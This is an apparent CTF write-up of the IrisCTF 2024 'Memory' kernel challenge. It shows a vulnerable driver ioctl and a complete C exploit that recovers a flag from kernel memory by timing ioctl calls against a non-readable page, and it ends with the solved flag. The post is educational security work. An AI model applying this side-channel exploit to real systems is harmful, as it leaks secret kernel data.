Posts IrisCTF 2024 - Memory [Pwn]
Post
Cancel

IrisCTF 2024 - Memory [Pwn]

The provided code represents a kernel exploitation challenge, focusing on a vulnerable Linux device driver. The essential segment of the code is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
volatile const unsigned char data[] = "fakeflg{fake_flag_for_you}";
unsigned long user = 0;

long int device_ioctl(
		struct file *file,
		unsigned int ioctl_num,
		unsigned long ioctl_param)
{
	switch (ioctl_num) {

    case IOCTL_QUERY: {
      size_t user = ioctl_param >> 56;
      unsigned char* ptr = (unsigned char*)(ioctl_param & 0x00ffffffffffffff);
      if(__builtin_expect(user < sizeof(data), 1)) {
        unsigned char c;
        get_user(c, &(ptr[data[user]]));
        return 0;
	    }
    }
	}

	return 0;
}

This device driver expects a valid userland address as input. From this address, it extracts the user value and the userland buffer’s address. Subsequently, the driver uses the user value to access various positions within a hardcoded flag in the driver’s memory, extracting their values. The driver then utilizes the selected flag’s value to determine and read a specific address in the userland buffer. For instance, if user is set to zero, the driver accesses the first position of the flag, retrieves its value, and then accesses the user’s buffer at the address calculated by adding the flag’s character value to the base address of the userland buffer. The challenge revolves around identifying the exact read position of the device driver into the user’s buffer. If one can determine this position, it becomes possible to discover the characters of the flags.

So… You can touch my flag but not see it.

Solution

In the context of user space, direct access to kernel exceptions is restricted. However, by measuring execution times, it becomes possible to infer instances when the kernel dedicates time to recover from and handle exceptions. After conducting a series of tests, a observation was made: the ioctl query execution time is notably lower when a valid and readable buffer is provided to read, in contrast to the scenario where an invalid or non-readable buffer address. This observed discrepancy in execution times serves as an oracle, enabling the identification of when the driver reads a valid address.

To leverage this oracle and successfully extract the flag, the following steps are taken:

  1. Memory Allocation: Two contiguous memory pages, each of 4096 bytes, are allocated using the valloc function.

  2. Page Protection: The mprotect function is employed to set the second page as non-readable.

  3. Oracle Exploitation: A brute-force approach is implemented for each position of the flag. Different addresses of the user buffer are systematically sent to the ioctl query, varying the user buffer address for each flag position, and measures the consumed time during each iteration. When the driver starts accessing the unreadable page it will start to take longer so we can determine where exactly it is reading and, consequently, find out the value of the different characters of the flag.

This is the exploit used to brute force the flag by abusing the above mentioned oracle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>

#define MAJOR_NUM 100

#define IOCTL_QUERY 0

uint64_t get_timestamp() {
    uint32_t low, high;
    asm volatile ("rdtsc" : "=a" (low), "=d" (high));
    return ((uint64_t)high << 32) | low;
}

int main(void)
{
    char * a = valloc(4096*2);

    int status = mprotect(&a[0], 4096, PROT_NONE);
    if (status != 0) { perror("mprotect"); exit(1); }

    int fd = open("/dev/primer", O_RDONLY );
    if (fd < 0) {
        perror("Device error");
        return EXIT_FAILURE;
    }

    int query_number = 2148033536;
    int calibration_time = 0;

    for (size_t user = 0; user <= 40; user++) {
        for (int test = 0; test <= 130; test++)
        {
            // Brute-force approach: varying user buffer address for each flag position
            unsigned char *ptr = a+4096-test;
            unsigned long ioctl_param = ((unsigned long)user << 56) | (unsigned long)ptr;
            size_t n;

            uint64_t start_time = get_timestamp();
            for (int i = 0; i <= 1000; i++) {
                int b = ioctl(fd, query_number, ioctl_param);
            }
            uint64_t end_time = get_timestamp();

            if (end_time-start_time < calibration_time || calibration_time == 0) {
                calibration_time = end_time-start_time;
            }

            if (end_time-start_time > calibration_time*3) {
                // Character extraction and identification
                printf("%c",test-1);
                break;
            }
            
        }
    }

    return 0;
}

irisctf{the_cache_always_remembers}

This post is licensed under CC BY 4.0 by the author.
Contents